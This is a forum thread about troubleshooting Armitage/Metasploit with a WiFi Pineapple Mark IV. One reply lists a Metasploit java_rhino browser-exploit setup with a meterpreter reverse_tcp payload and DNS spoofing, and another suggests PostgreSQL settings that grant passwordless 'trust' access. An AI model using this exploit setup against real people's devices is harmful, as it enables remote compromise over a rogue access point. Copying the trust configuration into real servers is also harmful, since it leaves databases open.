Jump to content

Pineapple Mk4+Armitage Finnickey!


Cassiopeia

Recommended Posts

so my setup is a pineapple mark4 running 2.5.0, an alfa network card, and my laptop running bt5r3.

i use the wp4.sh script for ICS between my wifi connection (192.168.1.1) and the standard pineapple ip.

now when i try to start armitage, i get the normal connect to database screen, connect yes to start msf rpc and it starts loading armitage, now halfway there, i get a messagebox

"Could not connect to database

click help button (firstly no help button is avalible which is quite amusing :P)

FATAL:: no pg_hba.conf entry for host "172.16.42.42", user "msf3", database "msf3dev", SSL off"

and it terminates armitage, now anyone have a clue of whats obviously wrong?

//Regards

Link to comment
Share on other sites

  • 3 months later...

I was able to get armitage working in windows 7 using the pineapple mark4. i log into armitage using 127.0.0.1 port 55553 user msf pass test. Then change your dns to spoof 172.16.42.42 * on your pineapple.


To hack my own laptop I use java_rhino attack

multi/browser/java_rhino

DisablePayloadHandler blank

ExitOnSession blank

LHOST 172.16.42.42

LPORT 20990 (or just leave whats already there)

PAYLOAD java/meterpreter/reverse_tcp

SRVHOST 172.16.42.42

SRVPORT 80

ssl 0

sslcert '

sslversion ssl3

URIPATH /

LAUNCH

if anyone knows a better way of doing this, please let me know --- this is just what worked for me

Link to comment
Share on other sites

  • 1 year later...

The solution is:

Edit this files :

1
sudo vim /etc/postgresql/9.1/main/postgresql.conf

Line 59:

1
listen_addresses = '*' # what IP address(es) to listen on;

1
sudo vim /etc/postgresql/9.1/main/pg_hba.conf

In this example, I will access remote postgresql from IP 162.36.222.98.

1
2
3
4
5
6
7
8
9
10
11
12
# DO NOT DISABLE!
# If you change this first entry you will need to make sure that the
# database superuser can access the database using some other method.
# Noninteractive access to all databases is required during automatic
# maintenance (custom daily cronjobs, replication, and similar tasks).
#
# Database administrative login by Unix domain socket
#local all postgres peer
local all postgres trust
....
host all all 162.36.222.0/24 md5
....

Restart postgresql services by :

1
sudo service postgresql restart
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...